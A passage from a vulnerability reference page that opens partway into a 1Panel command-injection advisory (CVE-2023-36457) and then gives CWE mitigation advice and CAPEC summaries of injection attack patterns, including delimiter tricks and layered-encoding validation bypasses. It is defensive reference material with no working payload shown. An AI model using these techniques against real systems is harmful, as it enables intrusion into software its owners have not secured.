Get \\\"http://127.0.0.1:8080/v2/\\\": dial tcp 127.0.0.1:8080: connect: connection refused\\n\",\"password\":\"Passw0rd\"}\n```\n\nAffected versions: \u003c= 1.3.5\n\n### Patches\n\nThe vulnerability has been fixed in v1.3.6.\n\n### Workarounds\n\nIt is recommended to upgrade the version to v1.3.6.\n\n### References\n\nIf you have any questions or comments about this advisory:\n\nOpen an issue in https://github.com/1Panel-dev/1Panel\nEmail us at wanghe@fit2cloud.com\n",
  "id": "GHSA-q2mx-gpjf-3h8x",
  "modified": "2023-07-05T21:38:07Z",
  "published": "2023-07-05T21:38:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/1Panel-dev/1Panel/security/advisories/GHSA-q2mx-gpjf-3h8x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-36457"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/1Panel-dev/1Panel"
    },
    {
      "type": "WEB",
      "url": "https://github.com/1Panel-dev/1Panel/releases/tag/v1.3.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "1Panel vulnerable to command injection when adding container repositories"
}

Mitigation

Architecture and Design

If at all possible, use library calls rather than external processes to recreate the desired functionality.

Mitigation

Implementation

If possible, ensure that all external commands called from the program are statically created.

Mitigation MIT-5

Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Mitigation

Operation

Run time: Run time policy enforcement may be used in an allowlist fashion to prevent use of any non-sanctioned commands.

Mitigation

System Configuration

Assign permissions that prevent the user from accessing/opening privileged files.

CAPEC-136: LDAP Injection

An attacker manipulates or crafts an LDAP query for the purpose of undermining the security of the target. Some applications use user input to create LDAP queries that are processed by an LDAP server. For example, a user might provide their username during authentication and the username might be inserted in an LDAP query during the authentication process. An attacker could use this input to inject additional commands into an LDAP query that could disclose sensitive information. For example, entering a * in the aforementioned query might return information about all users on the system. This attack is very similar to an SQL injection attack in that it manipulates a query to gather additional information or coerce a particular return value.

CAPEC-15: Command Delimiters

An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.

CAPEC-183: IMAP/SMTP Command Injection

An adversary exploits weaknesses in input validation on web-mail servers to execute commands on the IMAP/SMTP server. Web-mail servers often sit between the Internet and the IMAP or SMTP mail server. User requests are received by the web-mail servers which then query the back-end mail server for the requested information and return this response to the user. In an IMAP/SMTP command injection attack, mail-server commands are embedded in parts of the request sent to the web-mail server. If the web-mail server fails to adequately sanitize these requests, these commands are then sent to the back-end mail server when it is queried by the web-mail server, where the commands are then executed. This attack can be especially dangerous since administrators may assume that the back-end server is protected against direct Internet access and therefore may not secure it adequately against the execution of malicious commands.

CAPEC-248: Command Injection

An adversary looking to execute a command of their choosing, injects new items into an existing command thus modifying interpretation away from what was intended. Commands in this context are often standalone strings that are interpreted by a downstream component and cause specific responses. This type of attack is possible when untrusted values are used to build these command strings. Weaknesses in input validation or command construction can enable the attack and lead to successful exploitation.

CAPEC-40: Manipulating Writeable Terminal Devices

This attack exploits terminal devices that allow themselves to be written to by other users. The attacker sends command strings to the target terminal device hoping that the target user will hit enter and thereby execute the malicious command with their privileges. The attacker can send the results (such as copying /etc/passwd) to a known directory and collect once the attack has succeeded.

CAPEC-43: Exploiting Multiple Input Interpretation Layers

An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.

CAPEC-75: Manipulating Writeable Configuration Files

Generally these are manually edited files that are not in the preview of the system administrators, any ability on the attackers' behalf to modify these files, for example in a CVS repository, gives unauthorized access directly to the application, the same as authorized users.

CAPEC-76: Manipulating Web Input to File System Calls

An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

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